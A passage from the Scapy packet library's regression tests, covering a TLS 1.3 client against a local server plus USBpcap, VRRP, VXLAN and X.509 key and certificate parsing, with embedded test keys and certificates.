hex_bytes("0a2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945766749424144414e42676b71686b6947397730424151454641415343424b67776767536b41674541416f49424151446f5a2b796e456c5a356e7076580a587344582b68792b485465476d65667165513930664e6e667a4a58456f35655077396b34566a497a4b434e34573339746c306d4d6f444b70335a47554b33334f0a2b71545344527758643548767455544e755373716a507732772b425a56374169646a634b5658665865422b5132356852372b7839746a54676675684e53496d7a0a333945767a3236324d4d3233366174684d35734763756e71775158416c313630476949324e7675434c7258726f432f6970615539535a6c4c584b534c796678650a42513144564a6c6b7761386a4d4478526f634c5469456c53586a386c674e7639423952436f2f6a56313047627a43437447755254572f77447269534e506350630a684f2b697668436371526f4b506142644964396653634679636c305a686238636e783338476634616f365459786c4258703538697634365267666530645a5a4a0a5061714369574c5241674d42414145436767454142756750447342516768446f317475357744617555394774394b6e4f5958665973667444685553726c4754370a3173373436465646624d3259704f73576763543778507054627877477832713179644e77676b364237637045383770464563454669364241795962614a7241320a414e777355726f4c55356a2b425363617a63714e765162365a336141727656457a774532665539394d7a47786c31776e612b6a5152716d4a456f764c466a66310a68584841786e4d6765514f73556c6f506e6833682f4159774b3934385444732b634a4b4a33776a376a6335794a66456e70352f73784268433165356738594f450a563671426c682f702f3462615074757a49726a324d384f44566772304661624945362b537530577a4c6366597a50432b35536930543345673735672f736e666b0a724473703743517a55644973696d3443485432627a44483656775749774271386d4f645961766e592f514b426751442b764d626b414d54714c2f4d482f70614c0a46672f505272322f502b384c745a555247593477414138566c4b4334664342473250544a474837475231546559386e5a466d584878526561534a4667365855690a6153534f484b39586d2f43715962477664624a7553426f42492f6562566264706c504454376143374a52697766704176504d7a516b6552326d36556775516e720a6b49474376584f2f673874525357494e6d68354e5a46364533514b42675144706a732f78783531423753544c386d5946544e7147506a52316669697635684b2b0a492b6255643975585a33527445503078666e682f344f6c682b7a6c664d596b7a49356c376a68384c74326a6b31364978426a38376e774366566c636b5044464d0a516c4f624a676376383632364a5843377745666c3837594e77524d426b5238776964685a774b5052464a79395072315270782b715176507054483633704368770a704f435a7273514d68514b4267472b73334e6936435a6e4e575a4d6f706d446c5642722f6e56484a756f64386e4a5135697438364e324b7a6e4e346a394a5a360a714a3238636c2b4569413153322f7569325134434e7232356b4a7057337259754f41746851664637654c2b4a517264304e72776f4f645a454b566e6338794b440a58437a636f546c4b49772f452f487270416256794d434662544d4953764f6d626d567479714e724e38595636555655374f6f75644d393631416f4742414a4d630a6f5635706e5751704f3051374b6f657349506a74745a314d4764537831707874674c6654787a3157724c38474e48553464433459504f69366c536967797771720a49634878677879654b6a50366e753743514a494e56526349433175486a6f573651573834524d3676626e34526c7a4372724a33724a49454658444e67645954640a54716b3537665745526a58746a74496673704a4d4764615a6d446554377555453958505834535542416f4742414e4466535966544239774330334859415846550a78553554682f763075387a7a2b7235477a586863342b33513446746769336b51743164682f702b47384c764257744b65354d622f6651424c77514154613143330a735837786863612b66553467642f536638526a6a54783634696b413545585147306c6443696a6c4463554c4f5868386d4557574d636b2b333932416648584a740a4a687951526b427a453941664339526f642b61365455686f0a2d2d2d2d2d454e442050524956415445204b45592d2d2d2d2d0a") cafile = get_temp_file() certfile = get_temp_file() keyfile = get_temp_file() with open(cafile, "wb") as fd: fd.write(root_ca_cert) with open(certfile, "wb") as fd: fd.write(rsa_cert) with open(keyfile, "wb") as fd: fd.write(rsa_key) # Define server REQS = [ HTTP() / HTTPRequest(Path="/a.txt", Host="127.0.0.1:59000") / b"hey1", HTTP() / HTTPRequest(Path="/b.txt", Host="127.0.0.1:59000") / b"hey2", ] RESPS = [ HTTP() / HTTPResponse(Status_Code="401", Reason_Phrase="Unauthorized") / "Please login", HTTP() / HTTPResponse(Status_Code="200", Reason_Phrase="OK") / "Welcome", ] def run_tls_native_test_server(post_handshake_auth=False, with_hello_retry=False): # Create context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_verify_locations(cafile=cafile) if post_handshake_auth: context.post_handshake_auth = True if with_hello_retry: context.set_ecdh_curve("prime256v1") context.verify_mode = ssl.CERT_REQUIRED context.load_cert_chain(certfile=certfile, keyfile=keyfile) port = [None] lock = threading.Lock() lock.acquire() def ssl_server(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.settimeout(1) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(("0.0.0.0", 0)) server.listen(5) port[0] = server.getsockname()[1] # Sync lock.release() # Accept socket client_socket, addr = server.accept() ssl_client_socket = context.wrap_socket(client_socket, server_side=True) # Receive / send data resp = ssl_client_socket.read(len(REQS[0])) assert resp == bytes(REQS[0]) ssl_client_socket.send(bytes(RESPS[0])) if post_handshake_auth: # Post-handshake t = ssl_client_socket.verify_client_post_handshake() # Receive / send data resp = ssl_client_socket.read(len(REQS[1])) assert resp == bytes(REQS[1]) ssl_client_socket.send(bytes(RESPS[1])) # close socket try: ssl_client_socket.shutdown(socket.SHUT_RDWR) finally: ssl_client_socket.close() try: server.shutdown(socket.SHUT_RDWR) finally: server.close() server = threading.Thread(target=ssl_server) server.start() assert lock.acquire(timeout=5), "Server failed to start in time !" return server, port[0] def test_tls_client_native(post_handshake_auth=False, with_hello_retry=False): server, port = run_tls_native_test_server( post_handshake_auth=post_handshake_auth, with_hello_retry=with_hello_retry, ) a = TLSClientAutomaton.tlslink( HTTP, server="127.0.0.1", dport=port, version="tls13", mycert=certfile, mykey=keyfile, # we select x25519 but the server enforces seco256r1, so a Hello Retry will be issued curve="x25519" if with_hello_retry else None, # debug=4, ) # First request pkt = a.sr1(REQS[0], timeout=1, verbose=0) assert pkt.load == b"Please login" # Second request a.send(REQS[1]) pkt = a.sr1(REQS[1], timeout=1, verbose=0) assert pkt.load == b"Welcome" # Close a.close() # Wait for server to close server.join(3) assert not server.is_alive() # XXX: Ugh, Appveyor uses an ancient Windows 10 build that doesn't support TLS 1.3 natively. = Testing TLS client against ssl.SSLContext server with TLS 1.3 and a post-handshake authentication ~ native_tls13 test_tls_client_native(post_handshake_auth=True) = Testing TLS client against ssl.SSLContext server with TLS 1.3 and a Hello-Retry request ~ native_tls13 test_tls_client_native(with_hello_retry=True) # Automaton as Socket tests + TLSAutomatonClient socket tests ~ netaccess needs_root = Connect to google.com load_layer("tls") load_layer("http") def _test_connection(): a = TLSClientAutomaton.tlslink(HTTP, server="www.google.com", dport=443, server_name="www.google.com", debug=4) pkt = a.sr1(HTTP()/HTTPRequest(Host="www.google.com"), session=TCPSession(app=True), timeout=2, retry=3) a.close() assert pkt assert HTTPResponse in pkt assert b"" in pkt[HTTPResponse].load retry_test(_test_connection) ================================================ FILE: test/scapy/layers/usb.uts ================================================ % Scapy USB tests + USBpcap tests = load module load_layer("usb") = linklayer test from io import BytesIO data = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\xf9\x00\x00\x00\xb6\xaau[B\xd7\n\x00'\x00\x00\x00'\x00\x00\x00\x1b\x00\x008\xeeM\n\x97\xff\xff\x00\x00\x00\x00\t\x00\x01\x01\x00\x04\x00\x81\x01\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbd\xaau[\xdc\x88\x0c\x00$\x00\x00\x00$\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x00\x01\x00\x05\x00\x00\x02\x08\x00\x00\x00\x00\x80\x06\x00\x01\x00\x00\x12\x00\xbd\xaau[}\xa7\x0c\x00.\x00\x00\x00.\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x01\x01\x00\x05\x00\x00\x02\x12\x00\x00\x00\x01\x12\x01\x10\x02\x00\x00\x00@^\x04\xe8\x07\x07\x02\x01\x02\x00\x01\xbd\xaau[\x7f\xa7\x0c\x00\x1c\x00\x00\x00\x1c\x00\x00\x00\x1c\x000g4K\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x01\x01\x00\x05\x00\x00\x02\x00\x00\x00\x00\x02\xbd\xaau[\x8d\xa7\x0c\x00$\x00\x00\x00$\x00\x00\x00\x1c\x00\x10\xe0\x98J\n\x97\xff\xff\x00\x00\x00\x00\x0b\x00\x00\x01\x00\x05\x00\x00\x02\x08\x00\x00\x00\x00\x80\x06\x00\x02\x00\x00\t\x00" pcap = rdpcap(BytesIO(data)) pkt1 = USBpcap(function=9, info=1, endpoint=129, res=0, transfer=1, usbd_status=0, dataLength=12, bus=1, device=4, irpId=18446628669245765632, headerLen=27)/Raw(load=b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert raw(pcap[0]) == raw(pkt1) assert isinstance(pcap[0], USBpcap) pkt2 = USBpcap(function=11, info=0, endpoint=0, res=0, transfer=2, usbd_status=0, dataLength=8, bus=1, device=5, irpId=18446628669200033584, headerLen=28)/USBpcapTransferControl(stage=0)/Raw(load=b'\x80\x06\x00\x01\x00\x00\x12\x00') assert raw(pcap[1]) == raw(pkt2) assert USBpcap in pcap[1] assert USBpcapTransferControl in pcap[1] = USBpcapTransferIsochronous pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferIsochronous(usbd_status=0x40000000) assert raw(pkt) == b"'\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@" = USBpcapTransferInterrupt pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferInterrupt(startFrame=0x40000000, numberOfPackets=0x80000000, errorCount=2) assert raw(pkt) == b"'\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x80\x02\x00\x00\x00" = USBpcapTransferControl pkt = USBpcap(irpId=0x359275, function=0x1235, info=10, bus=35)/USBpcapTransferControl(stage=11) assert raw(pkt) == b'\x1c\x00u\x925\x00\x00\x00\x00\x00\x00\x00\x00\x005\x12\n#\x00\x00\x00\x00\x02\x01\x00\x00\x00\x0b' ================================================ FILE: test/scapy/layers/vrrp.uts ================================================ % VRRP regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + VRRP tests = VRRP - build s = raw(IP()/VRRP()) s == b'E\x00\x00$\x00\x01\x00\x00@p|g\x7f\x00\x00\x01\x7f\x00\x00\x01!\x01d\x00\x00\x01z\xfd\x00\x00\x00\x00\x00\x00\x00\x00' = VRRP - dissection p = IP(s) VRRP in p and p[VRRP].chksum == 0x7afd = VRRP IPv6 - build s6 = raw(IPv6()/VRRPv3()) s6 == b'`\x00\x00\x00\x00\x08p@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x011\x01d\x01\x00dj\x1f' = VRRP IPv6 - dissection p6 = IPv6(s6) VRRPv3 in p6 and p6[VRRPv3].chksum == 0x6a1f = VRRP - chksums # VRRPv3 p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,addrlist=["20.0.1.2","20.0.1.3"]) a = Ether(raw(p)) assert a[VRRPv3].chksum == 0xb25e # VRRPv1 p = Ether(src="00:00:5e:00:02:02",dst="01:00:5e:00:00:12")/IP(src="20.0.0.3", dst="224.0.0.18",ttl=255)/VRRP(priority=254,vrid=2,version=1,adv=1,addrlist=["20.0.1.2","20.0.1.3"]) b = Ether(raw(p)) assert b[VRRP].chksum == 0xc6f4 = VRRP IPv6 - chksums # VRRPv3 IPv6 p = Ether(src="00:00:5e:00:02:02",dst="33:33:00:00:00:12")/IPv6(src="2001:db8::1", dst="ff02::12",hlim=255)/VRRPv3(priority=254,vrid=2,version=3,adv=1,ipcount=2,addrlist=["2001:db8::2","2001:db8::3"]) c = Ether(raw(p)) assert c[VRRPv3].chksum == 0x481b ================================================ FILE: test/scapy/layers/vxlan.uts ================================================ % VXLAN regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + VXLAN layer = Build a VXLAN packet with VNI of 42 raw(UDP(sport=1024, dport=4789, len=None, chksum=None)/VXLAN(flags=0x08, vni=42)) == b'\x04\x00\x12\xb5\x00\x10\x00\x00\x08\x00\x00\x00\x00\x00\x2a\x00' = Verify VXLAN Ethernet Binding pkt = VXLAN(raw(VXLAN(vni=23)/Ether(dst="11:11:11:11:11:11", src="11:11:11:11:11:11", type=0x800))) pkt.flags.NextProtocol and pkt.NextProtocol == 3 = Verify UDP dport overloading p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42, NextProtocol=0) / Ether() / IP() p = Ether(raw(p)) assert p[UDP].dport == 4789 assert p[Ether:2].type == 0x800 = Build a VXLAN packet with next protocol field p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42, NextProtocol=3) / Ether() / IP() p = Ether(raw(p)) assert p[UDP].dport == 4789 assert p[VXLAN].reserved0 == 0x0 assert p[VXLAN].NextProtocol == 3 assert p[Ether:2].type == 0x800 = Build a VXLAN packet with no group policy ID p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0xC, vni=42) / Ether() / IP() p = Ether(raw(p)) assert p[VXLAN].reserved2 == 0x0 assert p[VXLAN].gpid is None assert p[Ether:2].type == 0x800 = Build a VXLAN packet with group policy ID = 42 p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22") p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111) p /= VXLAN(flags=0x8C, gpid=42, vni=42) / Ether() / IP() p = Ether(raw(p)) assert p[VXLAN].gpid == 42 assert p[VXLAN].reserved1 is None assert p[Ether:2].type == 0x800 = Build a VXLAN packet followed by and IP or IPv6 layer etherproto = 0x0 ipproto = 0x1 ipv6proto = 0x2 iptest = "192.168.20.20" ipv6test = "659f:2c23:565:3fab:32d5:bb95:a0ed:2e3b" expkt = UDP() / VXLAN() / IP(dst=iptest) / "testing" expkt = UDP(bytes(expkt)) assert expkt[VXLAN].NextProtocol == ipproto assert IP in expkt assert expkt[IP].dst == iptest expkt = UDP() / VXLAN() / IPv6(dst=ipv6test) / "testing" expkt = UDP(bytes(expkt)) assert expkt[VXLAN].NextProtocol == ipv6proto assert IPv6 in expkt assert expkt[IPv6].dst == ipv6test expkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipproto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert IP in expkt expkt = UDP() / VXLAN(flags=0x4, NextProtocol=ipv6proto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert IPv6 in expkt expkt = UDP() / VXLAN(flags=0x4, NextProtocol=etherproto) / "0xfffffffffffffffffffffffffffffffffffffffffffff" expkt = UDP(bytes(expkt)) assert Ether in expkt = Dissect VXLAN with no NextProtocol pkt = VXLAN(b'\x08\x00\x00\x00\x00"H\x00\xcaF\xae\x10\xed\x0f\x0c\x00\x00\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02\x0c\x00\x00\x00\x00\x00\x7f\xff\xff\xfe\x11"3DUf\x7f\x00\x00\x02') assert pkt.NextProtocol is None assert Ether in pkt assert ARP in pkt ================================================ FILE: test/scapy/layers/x509.uts ================================================ % Tests for X.509 objects # # Try me with: # bash test/run_tests -t test/x509.uts -F ########### ASN.1 border case ####################################### + General BER decoding tests = Decoding an ASN.1 SEQUENCE with an unknown, high-tag identifier from scapy.layers.x509 import ASN1P_PRIVSEQ s = b'\xff\x84\x92\xb9\x86H\x1e0\x1c\x16\x04BNCH\x04\x14\xb7\xca\x01wO\x9b\xbaz\xbb\xb5\x92\x87>T\xb2\xc3g\xc1]\xfb' p = ASN1P_PRIVSEQ(s) ########### Key class ############################################### + Private RSA & ECDSA keys class tests = Key class : Importing DER encoded RSA private key from scapy.layers.x509 import RSAPrivateKey k = base64.b64decode('MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HL\nA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9\n/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJd\nI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinM\nE1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI\n/1GXNMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCKvGiCEX2G\nesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPxXtex4ABX5o0Cd4NfZlZj\npj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXtKkDp9h1jTGGUOc189WACNoBLH0MGeVoS\nUfc1++RcC3cypUZ8fNP1OO6GBfv06f5oXES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3\nOcWv6IWdOmg2CI7MMBLJ0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+j\nYdkbHb3aBYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl3dE/\nymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7iTOUL6b4e3lQuHQn\nJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5uWmBllqAHZYR14DEYIdL+hdLrdvk5\nnYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMC\ngYBBwCUCF8rkDEWa/ximKo8aoNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsu\nG4/Nm/RBV1OYuNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi\nKgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23QxUBU0rYDxoKTd\nFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBGpUJHeDK+0748OcPUSPaG+pVI\nETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Q\ng2S+SgLE+F1U4Xws2rqAuSvIiuT5i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx\n0iljob6uFyhpl1xgW3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI') x=RSAPrivateKey(k) = Key class : key version x.version == ASN1_INTEGER(0) = Key class : key modulus x.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) = Key class : key public exponent x.publicExponent == ASN1_INTEGER(65537) = Key class : key private exponent x.privateExponent == ASN1_INTEGER(15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833) = Key class : key prime1 x.prime1 == ASN1_INTEGER(140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969) = Key class : key prime2 x.prime2 == ASN1_INTEGER(136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027) = Key class : key exponent1 x.exponent1 == ASN1_INTEGER(46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369) = Key class : key exponent2 x.exponent2 == ASN1_INTEGER(58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269) = Key class : key coefficient x.coefficient == ASN1_INTEGER(133642091354977099805228515340626956943759840737228695249787077343495440064451558090846230978708992851702164116059746794777336918772240719297253693109788134358485382183551757562334253896010728509892421673776502933574360356472723011839127418477652997263867089539752161307227878233961465798519818890416647361608) ########### Cert class ############################################## + X509_Cert class tests = Cert class : Importing DER encoded X.509 Certificate with RSA public key from scapy.layers.x509 import X509_Cert c = base64.b64decode('MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYDVQQGEwJGUjEO\nMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEe\nMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0\nIGNlcnRpZmljYXRlMScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcN\nMDYwNzEzMDczODU5WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBh\ncmlzMQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNVBAsTFU11\nc2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkgVGVzdCBjZXJ0aWZpY2F0\nZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNocm9vbS5jb3JwMIIBIjANBgkqhkiG9w0B\nAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReD\nbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3y\nilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA1o32\nzpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1S\nGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABo4IBHzCC\nARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd\n0s4zzVxWjG+XFDFLoYG8pIG5MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNV\nBAcTBVBhcmlzMRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO\nIFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI\nhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD5wkLcTAMBgNVHRMEBTADAQH/\nMA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvHMWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZ\nI88XA5XM6QolmfyKnNromMLC1+6CaFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2L\nR5kHe9RvSDuoPIsbSHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3g\nh8dR/kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpHo060Fo7f\nVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFxr3s7V77y') x=X509_Cert(c) = Cert class : Rebuild certificate raw(x) == c = Cert class : Version tbs = x.tbsCertificate tbs.version == ASN1_INTEGER(2) = Cert class : Serial tbs.serialNumber == ASN1_INTEGER(0xb45e7043e7090b71) = Cert class : Signature algorithm (as advertised by TBSCertificate) from scapy.layers.x509 import X509_AlgorithmIdentifier assert type(tbs.signature) is X509_AlgorithmIdentifier tbs.signature.algorithm == ASN1_OID("sha1-with-rsa-signature") = Cert class : Issuer structure from scapy.layers.x509 import X509_AttributeTypeAndValue from scapy.layers.x509 import X509_RDN assert type(tbs.issuer) is list assert len(tbs.issuer) == 7 assert type(tbs.issuer[0]) is X509_RDN assert type(tbs.issuer[0].rdn) is list assert type(tbs.issuer[0].rdn[0]) is X509_AttributeTypeAndValue = Cert class : Issuer first attribute tbs.issuer[0].rdn[0].type == ASN1_OID("countryName") and tbs.issuer[0].rdn[0].value == ASN1_PRINTABLE_STRING(b"FR") = Cert class : Issuer string tbs.get_issuer_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Validity from scapy.layers.x509 import X509_Validity assert type(tbs.validity) is X509_Validity tbs.validity.not_before == ASN1_UTC_TIME("060713073859Z") and tbs.validity.not_after == ASN1_UTC_TIME("260330073859Z") = Cert class : Subject structure assert type(tbs.subject) is list assert len(tbs.subject) == 7 assert type(tbs.subject[0]) is X509_RDN assert type(tbs.subject[0].rdn) is list assert type(tbs.subject[0].rdn[0]) is X509_AttributeTypeAndValue = Cert class : Subject last attribute tbs.issuer[6].rdn[0].type == ASN1_OID("emailAddress") and tbs.issuer[6].rdn[0].value == ASN1_IA5_STRING(b"ikev2-test@mushroom.corp") = Cert class : Subject string tbs.get_subject_str() == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : SubjectPublicKey algorithm from scapy.layers.x509 import X509_SubjectPublicKeyInfo assert type(tbs.subjectPublicKeyInfo) is X509_SubjectPublicKeyInfo spki = tbs.subjectPublicKeyInfo spki.signatureAlgorithm.algorithm == ASN1_OID("rsaEncryption") = Cert class : SubjectPublicKey value from scapy.layers.x509 import RSAPublicKey assert type(spki.subjectPublicKey) is RSAPublicKey spki.subjectPublicKey.modulus == ASN1_INTEGER(19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163) and spki.subjectPublicKey.publicExponent == ASN1_INTEGER(65537) = Cert class : Extensions structure ext = tbs.extensions assert type(ext) is list assert len(ext) == 3 = Cert class : Subject key identifier extension info from scapy.layers.x509 import X509_Extension assert type(ext[0]) is X509_Extension ext[0].extnID == ASN1_OID("subjectKeyIdentifier") and ext[0].critical == None = Cert class : Subject key identifier extension value from scapy.layers.x509 import X509_ExtSubjectKeyIdentifier assert type(ext[0].extnValue) is X509_ExtSubjectKeyIdentifier ext[0].extnValue.keyIdentifier == ASN1_STRING(b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K') = Cert class : Signature algorithm from scapy.layers.x509 import X509_AlgorithmIdentifier assert type(x.signatureAlgorithm) is X509_AlgorithmIdentifier x.signatureAlgorithm.algorithm == ASN1_OID("sha1-with-rsa-signature") = Cert class : Signature value x.signatureValue == 